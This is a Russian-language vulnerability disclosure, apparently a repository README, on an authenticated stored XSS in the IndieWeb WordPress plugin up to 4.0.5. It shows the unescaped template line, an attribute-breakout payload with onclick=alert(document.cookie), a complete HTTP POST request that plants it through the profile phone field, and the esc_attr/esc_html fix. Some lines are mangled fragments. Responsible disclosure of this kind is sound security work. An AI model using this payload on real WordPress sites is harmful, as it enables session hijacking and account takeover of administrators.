
Авторизованное сохранённое межсайтовое выполнение сценариев (XSS) в плагине IndieWeb для WordPress
Отказ от ответственности: Этот репозиторий создан исключительно в образовательных целях и для этичного раскрытия. Уязвимость была ответственно сообщена вендору и исправлена. Не используйте эту информацию для эксплуатации систем без надлежащего разрешения.
В плагине IndieWeb для WordPress (версии <= 4.0.5) обнаружена уязвимость межсайтового скриптинга (XSS) с сохранением. Эта уязвимость позволяет аутентифицированным атакующим с правами Автора или выше внедрить вредоносный JavaScript в поле «Телефон» своего профиля пользователя.
Когда виджет «H-Card профиля автора» отображается на фронтенде, внедрённый скрипт выводится без надлежащей санитизации. Если пользователь с высокими привилегиями, например администратор, щёлкает по манипулированной ссылке, скрипт выполняется в контексте его браузера. Это может привести к перехвату сессии, несанкционированным административным действиям и полному захвату учетной записи (ATO).
<= 4.0.5Основная проблема заключается в небезопасной обработке метаданных пользователя в системе шаблонов плагина, а именно в отсутствии использования встроенных функций экранирования WordPress.
Уязвимый файл: templates/h-card.php (строка 27)
<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
Ошибка:
Плагин напрямую выводит метаданные tel пользователя внутри HTML-атрибута href с помощью echo, не оборачивая их в esc_attr(). Это позволяет атакующему предоставить сконструированную строку, которая содержит двойную кавычку ("), чтобы преждевременно закрыть атрибут href, после чего следуют произвольные HTML-атрибуты (например, style или onclick).
<= 4.0.5./wp-admin/profile.php).href):
Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
is_single()) для отображения информации об авторе.POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]
_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
Для исправления уязвимости разработчики плагина должны правильно экранировать вывод с помощью функций WordPress esc_attr() и esc_html().
Пример исправленного кода:
<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>